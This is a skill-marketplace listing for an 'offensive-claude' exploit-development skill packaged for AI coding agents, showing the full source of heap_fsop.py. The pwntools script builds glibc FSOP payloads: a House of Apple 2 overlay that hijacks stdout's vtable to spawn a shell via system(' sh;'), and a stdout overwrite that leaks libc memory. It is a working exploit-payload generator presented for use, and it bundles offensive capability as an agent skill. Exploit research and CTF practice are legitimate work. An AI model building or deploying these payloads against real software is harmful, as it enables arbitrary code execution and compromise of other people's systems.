hypnguyen1209/offensive-claude / skills/exploit-development
exploit-development
VerifiedUse when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.1 KB |
| references/browser-jit-uaf.md | markdown | 8.3 KB |
| references/exploit-feasibility.md | markdown | 3.2 KB |
| references/format-string-leaks.md | markdown | 7.2 KB |
| references/heap-glibc-fsop.md | markdown | 9.3 KB |
| references/kernel-exploitation.md | markdown | 10.4 KB |
| references/stack-rop-mitigations.md | markdown | 9.7 KB |
| scripts/exploit_context.py | script | 10.5 KB |
| scripts/feasibility_profile.py | script | 9.3 KB |
| scripts/fmtstr_leak.py | script | 3.5 KB |
| scripts/heap_fsop.py | script | 4.5 KB |
| scripts/kernel_lpe_skeleton.c | other | 6.5 KB |
| scripts/offset_finder.py | script | 3.6 KB |
| scripts/rop_autochain.py | script | 4.1 KB |
| scripts/safe_linking.py | script | 2.5 KB |
| scripts/v8_primitives.js | script | 4.7 KB |
scripts/heap_fsop.py
View on GitHub#!/usr/bin/env python3
"""
heap_fsop.py - Build glibc FSOP payloads for modern (2.34+) heap exploitation.
Modes:
apple2 : House of Apple 2 FILE overlay. Hijacks _IO_2_1_stdout_ vtable to
_IO_wfile_jumps and routes _IO_wfile_overflow -> __doallocate = system,
with rdi pointing at the FILE so _flags = " sh;" yields system("sh").
stdleak : stdout-leak FSOP. Overwrites _IO_2_1_stdout_ flags/pointers so the next
stdout activity dumps libc/heap memory (turn one write into a big leak).
Triggered by exit()/fflush(stdout) -> _IO_flush_all.
Usage:
python3 heap_fsop.py --libc ./libc.so.6 --mode apple2 \
--fake-heap 0x55555555a000 --out apple2.bin
python3 heap_fsop.py --libc ./libc.so.6 --mode stdleak --out leak.bin
Offsets below are stable for x86-64 glibc 2.35-2.40. Verify against your exact build.
Dependencies: pwntools (for ELF symbol resolution + packing)
"""
import argparse
import sys
try:
from pwn import ELF, p64, context, log
except ImportError:
sys.exit("[!] pwntools required: pip install pwntools")
context.arch = "amd64"
# _IO_FILE_plus x86-64 offsets
OFF_FLAGS, OFF_WRITE_BASE, OFF_BUF_BASE = 0x00, 0x20, 0x38
OFF_WIDE_DATA, OFF_MODE, OFF_VTABLE, OFF_WIDE_VTABLE = 0xa0, 0xc0, 0xd8, 0xe0
WD_WRITE_BASE, WD_BUF_BASE, WD_WIDE_VTABLE = 0x18, 0x30, 0xe0
WVT_DOALLOCATE = 0x68
def build_apple2(libc, fake_heap, system_addr):
"""Returns (file_overlay, wide_data_block, wide_vtable_block).
Place file_overlay over _IO_2_1_stdout_, wide_data_block at fake_heap,
wide_vtable_block at fake_heap+0x200 (matches A+0xe0 below)."""
wfile_jumps = libc.symbols["_IO_wfile_jumps"]
wide_data = fake_heap
wide_vtable = fake_heap + 0x200
f = bytearray(0xe8)
f[OFF_FLAGS:OFF_FLAGS + 8] = b" sh;\x00\x00\x00" # rdi -> FILE => system(" sh;")
f[OFF_WIDE_DATA:OFF_WIDE_DATA + 8] = p64(wide_data)
f[OFF_MODE:OFF_MODE + 8] = p64(0) # _mode <= 0
f[OFF_VTABLE:OFF_VTABLE + 8] = p64(wfile_jumps) # pass IO_validate_vtable
f[OFF_WIDE_VTABLE:OFF_WIDE_VTABLE + 8] = p64(0) # (in FILE; real one is in wide_data)
A = bytearray(0xe8)
A[WD_WRITE_BASE:WD_WRITE_BASE + 8] = p64(0) # _IO_write_base = 0
A[WD_BUF_BASE:WD_BUF_BASE + 8] = p64(0) # _IO_buf_base = 0
A[WD_WIDE_VTABLE:WD_WIDE_VTABLE + 8] = p64(wide_vtable) # _wide_vtable -> B
B = bytearray(0x70)
B[WVT_DOALLOCATE:WVT_DOALLOCATE + 8] = p64(system_addr) # __doallocate = system
return bytes(f), bytes(A), bytes(B)
def build_stdleak():
"""Overwrite _IO_2_1_stdout_ to leak. Place over the stdout struct."""
f = bytearray(0x40)
f[0:8] = p64(0xfbad1800) # _flags magic
f[8:16] = p64(0) # _IO_read_ptr
f[16:24] = p64(0) # _IO_read_end
f[24:32] = p64(0) # _IO_read_base
f[32:33] = b"\x00" # LSB of _IO_write_base -> shifts to leak libc
return bytes(f)
def main():
ap = argparse.ArgumentParser(description="glibc FSOP payload builder")
ap.add_argument("--libc", required=True)
ap.add_argument("--mode", required=True, choices=["apple2", "stdleak"])
ap.add_argument("--fake-heap", help="controlled heap addr for apple2 (hex)")
ap.add_argument("--out", default="fsop.bin")
args = ap.parse_args()
libc = ELF(args.libc, checksec=False)
if args.mode == "apple2":
if not args.fake_heap:
ap.error("--fake-heap required for apple2")
if "_IO_wfile_jumps" not in libc.symbols or "system" not in libc.symbols:
log.warning("symbols missing in this libc; resolve _IO_wfile_jumps/system manually")
system_addr = libc.symbols.get("system", 0)
f, A, B = build_apple2(libc, int(args.fake_heap, 0), system_addr)
with open(args.out, "wb") as fh:
fh.write(f)
with open(args.out + ".wide_data", "wb") as fh:
fh.write(A)
with open(args.out + ".wide_vtable", "wb") as fh:
fh.write(B)
log.success(f"wrote {args.out} (place over _IO_2_1_stdout_), "
f"{args.out}.wide_data @ fake_heap, {args.out}.wide_vtable @ fake_heap+0x200")
log.info(f"_IO_wfile_jumps={hex(libc.symbols.get('_IO_wfile_jumps',0))} "
f"system={hex(system_addr)}")
else:
with open(args.out, "wb") as fh:
fh.write(build_stdleak())
log.success(f"wrote {args.out} (place over _IO_2_1_stdout_); next stdout op leaks libc")
if __name__ == "__main__":
main()
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |